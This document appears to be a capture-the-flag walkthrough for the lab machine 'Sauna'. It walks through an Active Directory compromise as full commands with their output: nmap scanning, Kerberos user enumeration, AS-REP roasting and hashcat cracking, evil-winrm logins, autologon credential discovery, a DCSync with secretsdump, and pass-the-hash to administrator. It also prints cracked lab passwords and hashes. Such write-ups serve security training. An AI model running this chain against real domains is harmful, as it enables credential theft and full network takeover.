Output of nmap:

# Nmap 7.94 scan initiated Tue Sep  5 16:14:48 2023 as: nmap -sC -sV -p- -oN nmap.txt -T4 -O 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up (0.023s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-05 21:16:24Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-05T21:17:18
|_  start_date: N/A
|_clock-skew: 7h00m00s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  5 16:17:56 2023 -- 1 IP address (1 host up) scanned in 188.46 seconds

If we check out the webpage at port 80, we can see some potential employees working here. Do they have an AD account? Let’s find out. Let’s write their first and last names in a file, and use username-anarchy to create a list of potential usernames:

username-anarchy -i names.txt > usernames.txt

We now run an nmap script that enumerates AD users with that username file we just created:

$ sudo nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL', userdb=usernames.txt" sauna.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-05 16:40 CEST
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.025s latency).

PORT   STATE SERVICE
88/tcp open  kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|_    fsmith@EGOTISTICAL-BANK.LOCAL

We find user fsmith, and we will try ASREProasting this user:

$ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175 -usersfile usernames.txt -format hashcat -outputfile hashes.txt
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

While the tool does not tell us whether the ASREProasting succeeded, there is a hash in hashes.txt:

$ cat hashes.txt
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:02ae34324e3680c961d66f95bff3db7d$bbb53af9cef0ec8d0883f9acf69dc924e3018fa6b963b6e9e8386effb8add908acfe7e278a8f91c2ee36b21dca7361692738f4b12585f735d441a1a4540a78c3a78a1a0f600684dac68b103e23d24d755b287cb8f0996fe90d77f0e401f2ebb41021942d2993b3385fc1e083e9592418d2acee457365bc0aca199d76a3464f94cb16a56372f299eb54550d6081cc7eedef45aac732321d7a1239754347bcac450ddbb83672692787651d8bd27fff5d658ee1d69a74941453819645dc51f0b38e4dfb7d22c835a474dee20846c11d1f7fc3e39e78c27f22ea11785075561b10a308f8dabb15dda6999e4aa6e693e1757da2f8831517444095d82f3020aa956dcb

Let’s look up the hash mode and throw it into hashcat:

$ hashcat -m 18200 --attack-mode 0 hashes.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt

---snip---

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:02ae34324e3680c961d66f95bff3db7d$bbb53af9cef0ec8d0883f9acf69dc924e3018fa6b963b6e9e8386effb8add908acfe7e278a8f91c2ee36b21dca7361692738f4b12585f735d441a1a4540a78c3a78a1a0f600684dac68b103e23d24d755b287cb8f0996fe90d77f0e401f2ebb41021942d2993b3385fc1e083e9592418d2acee457365bc0aca199d76a3464f94cb16a56372f299eb54550d6081cc7eedef45aac732321d7a1239754347bcac450ddbb83672692787651d8bd27fff5d658ee1d69a74941453819645dc51f0b38e4dfb7d22c835a474dee20846c11d1f7fc3e39e78c27f22ea11785075561b10a308f8dabb15dda6999e4aa6e693e1757da2f8831517444095d82f3020aa956dcb:Thestrokes23

The password is Thestrokes23. As this server runs WinRM, we can use evil-winrm to log in:

evil-winrm --ip 10.10.10.175 --user "fsmith" --password "Thestrokes23"

Running winPEAS on this user reveals an autologon password for the user svc_loanmanager:

Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

While the user svc_loanmanager does not exist, we do see that svc_loanmgr exists.

*Evil-WinRM* PS C:\Users\FSmith\Documents> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

Let’s give it a shot:

evil-winrm --ip 10.10.10.175 --user "svc_loanmgr" --password 'Moneymakestheworldgoround!'

Let’s run bloodhound and load in the results. When we click “Find Shortest Paths To Domain Admins” we get the following overview:

Let’s mark svc_loanmgr as owned, and we right-click on administrator → “Shortest Paths From Here To Owned”:

We see that the svc_loanmgr user is able to perform a DCSync attack:

Let’s right-click on the DCSync edge and click “Help”. Here, we find instructions to perform such a DCSync attack.

We can use secretsdump.py from Impacket to perform the attack:

$ secretsdump.py 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
---snip---

We now have the NT hash of administrator. Let’s use evil-winrm to perform a pass-the-hash attack:

$ evil-winrm --ip 10.10.10.175 --user "administrator" -H "823452073d75b9d1cf70ebdf86c7f98e"

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>